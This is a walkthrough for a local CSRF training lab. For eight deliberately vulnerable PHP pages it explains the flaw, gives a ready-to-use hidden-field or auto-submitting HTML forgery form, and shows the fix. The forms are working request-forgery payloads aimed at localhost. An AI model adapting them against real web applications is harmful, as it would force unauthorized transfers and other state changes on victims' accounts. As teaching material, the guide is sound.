# CSRF Guided Labs Walkthrough

This guide walks through the labs in this folder in a practical order, with:
- what each lab is testing,
- what request parameters matter,
- a working attacker PoC pattern,
- and how to fix the vulnerability correctly.

Use this with the pages in `CSRF/index.html` and the lab files in this folder.

## Learning Path

1. `CSRF1.php` - no token at all
2. `CSRF2.php` - token length check only
3. `CSRF3.php` - exact check, but predictable token
4. `CSRF4.php` - exact check, still predictable naming pattern
5. `CSRF5.php` - random token, but broken substring validation
6. `credit_transfer-easy.php` - real workflow with no effective CSRF validation
7. `credit_transfer-medium.php` - real workflow with weak token-length check
8. `themePark03-25/index.php` + `themePark03-25/add_attraction.php` - business action endpoint without CSRF protection

---

## CSRF Refresher (Short)

CSRF works when:
- the victim is authenticated in the target app,
- the attacker can cause the victim browser to submit a state-changing request,
- and the server does not verify request intent with a strong CSRF defense.

A robust defense requires:
- an unpredictable per-session (or per-request) token,
- strict server-side equality check,
- token bound to the current user session,
- validation on every state-changing request.

---

## Reusable Attacker PoC Template

Use this as a base and adapt `action`, field names, and token payload per lab.

```html
<!doctype html>
<html>
  <body>
    <form id="csrf" action="http://localhost/CSRF/CSRF1.php" method="POST">
      <input type="hidden" name="Amount" value="1000">
      <input type="hidden" name="to" value="attacker">
    </form>
    <script>
      document.getElementById('csrf').submit();
    </script>
  </body>
</html>
```

Tip: open the vulnerable app in one tab (logged in/session active), then open the attacker PoC file in another tab.

---

## Core Labs

## 1) CSRF1 (`CSRF1.php`)

### What is vulnerable
- Server accepts `POST` with `Amount` and `to`.
- No anti-CSRF token is required.

### Relevant code behavior
- If `Amount` and `to` exist, request is accepted.
- External request also returns the lab flag.

### Attack idea
Post these two fields from an external page:
- `Amount`
- `to`

### PoC snippet
```html
<form action="http://localhost/CSRF/CSRF1.php" method="POST">
  <input type="hidden" name="Amount" value="1000">
  <input type="hidden" name="to" value="Mom">
  <input type="submit" value="Go">
</form>
```

### Correct fix
- Add a random token to form + session.
- Verify exact equality server-side.

---

## 2) CSRF2 (`CSRF2.php`)

### What is vulnerable
- A token exists, but server validates only token length.
- Real token length is 64 (hex from `bin2hex(random_bytes(32))`).

### Relevant code behavior
- Pass condition: `strlen(submitted_token) === strlen(session_token)`.
- Value is never compared.

### Attack idea
Send any 64-character string as `token`.

### PoC snippet
```html
<form action="http://localhost/CSRF/CSRF2.php" method="POST">
  <input type="hidden" name="Amount" value="1000">
  <input type="hidden" name="to" value="Mom">
  <input type="hidden" name="token" value="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa">
  <input type="submit" value="Go">
</form>
```

### Correct fix
```php
if (!hash_equals($_SESSION['token'], $_POST['token'] ?? '')) {
    http_response_code(403);
    exit('Invalid CSRF token');
}
```

---

## 3) CSRF3 (`CSRF3.php`)

### What is vulnerable
- Server does exact token comparison.
- But token is hardcoded/predictable: `UserID:2`.

### Relevant fields
- `say`, `to`, `token`

### Attack idea
Use exact known token value in external forged request.

### PoC snippet
```html
<form action="http://localhost/CSRF/CSRF3.php" method="POST">
  <input type="hidden" name="say" value="Hi">
  <input type="hidden" name="to" value="Mom">
  <input type="hidden" name="token" value="UserID:2">
  <input type="submit" value="Go">
</form>
```

### Correct fix
- Token must be random and secret, not derived from user identifiers.

---

## 4) CSRF4 (`CSRF4.php`)

### What is vulnerable
- Exact comparison exists again.
- Token is still predictable: `member-2-approval`.

### Attack idea
Rebuild deterministic token and submit it.

### PoC snippet
```html
<form action="http://localhost/CSRF/CSRF4.php" method="POST">
  <input type="hidden" name="say" value="Hi">
  <input type="hidden" name="to" value="Mom">
  <input type="hidden" name="token" value="member-2-approval">
  <input type="submit" value="Go">
</form>
```

### Correct fix
- Never use naming schemes for CSRF token generation.
- Use cryptographically random values and `hash_equals`.

---

## 5) CSRF5 (`CSRF5.php`)

### What is vulnerable
- Token is random.
- Validation is broken: accepts any substring of real token.

### Relevant check
- Accepts when submitted token appears anywhere in session token.

### Attack idea
Use a tiny hex fragment likely to appear in a 64-char hex token (for example one or two hex chars). Retry if needed.

### PoC snippet
```html
<form action="http://localhost/CSRF/CSRF5.php" method="POST">
  <input type="hidden" name="say" value="Hi">
  <input type="hidden" name="to" value="Mom">
  <input type="hidden" name="token" value="a">
  <input type="submit" value="Go">
</form>
```

### Correct fix
- Require exact full-token match only.
- Reject partial, prefix, suffix, substring, regex, and length-only matches.

---

## Bonus Labs

## 6) Credit Transfer Easy (`credit_transfer-easy.php`)

### Workflow
1. Log in with a user.
2. Trigger external form POST to transfer credits.

### Vulnerability
- Transfer action does not validate `csrf_token` for the transfer request.
- Request fields used by transfer:
  - `transfer_credits` (submit name)
  - `receiver`
  - `amount`

### PoC snippet
```html
<form action="http://localhost/CSRF/credit_transfer-easy.php" method="POST">
  <input type="hidden" name="transfer_credits" value="1">
  <input type="hidden" name="receiver" value="user1">
  <input type="hidden" name="amount" value="100">
  <input type="submit" value="Claim prize">
</form>
```

---

## 7) Credit Transfer Medium (`credit_transfer-medium.php`)

### Vulnerability
- Transfer now checks token length only:
  `strlen(posted_csrf_token) === strlen(session_csrf_token)`

### Attack idea
Submit a fake token with matching length (64 chars).

### PoC snippet
```html
<form action="http://localhost/CSRF/credit_transfer-medium.php" method="POST">
  <input type="hidden" name="transfer_credits" value="1">
  <input type="hidden" name="receiver" value="user1">
  <input type="hidden" name="amount" value="100">
  <input type="hidden" name="csrf_token" value="bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb">
  <input type="submit" value="Claim prize">
</form>
```

---

## 8) Theme Park Bonus (`themePark03-25/index.php` + `add_attraction.php`)

### Vulnerability
- `add_attraction.php` accepts state-changing POST with no CSRF token.
- Fields:
  - `name`
  - `type`
  - `capacity`

### PoC snippet
```html
<form action="http://localhost/CSRF/themePark03-25/add_attraction.php" method="POST">
  <input type="hidden" name="name" value="CSRF Coaster">
  <input type="hidden" name="type" value="Rollercoaster">
  <input type="hidden" name="capacity" value="1337">
  <input type="submit" value="Open surprise ride">
</form>
```

---

## Recommended Defensive Pattern (PHP)

```php
session_start();

if ($_SERVER['REQUEST_METHOD'] === 'GET') {
    $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $submitted = $_POST['csrf_token'] ?? '';
    $expected  = $_SESSION['csrf_token'] ?? '';

    if (!is_string($submitted) || !is_string($expected) || !hash_equals($expected, $submitted)) {
        http_response_code(403);
        exit('Invalid CSRF token');
    }

    // Optional: rotate token after successful state change
    $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
```

Also add defense-in-depth:
- `SameSite` cookies (`Lax` or `Strict` where possible)
- origin/referrer checks for sensitive actions
- re-auth or step-up verification for high-risk transactions

---

## Quick Troubleshooting

- No flag returned?
  - Verify exact endpoint and parameter names.
  - Ensure victim session is active.
  - Ensure your attacker page is loaded from a different origin/path context.
- Medium/token-length labs failing?
  - Count exact length (usually 64).
- CSRF5 unreliable with very short token?
  - Retry or use a short hex fragment likely to appear.

---

## Notes

- The helper in `csrf_lab_helper.php` treats missing referrer as external.
- Some instructional text in old files may be outdated; this guide reflects current server-side logic in the PHP sources.
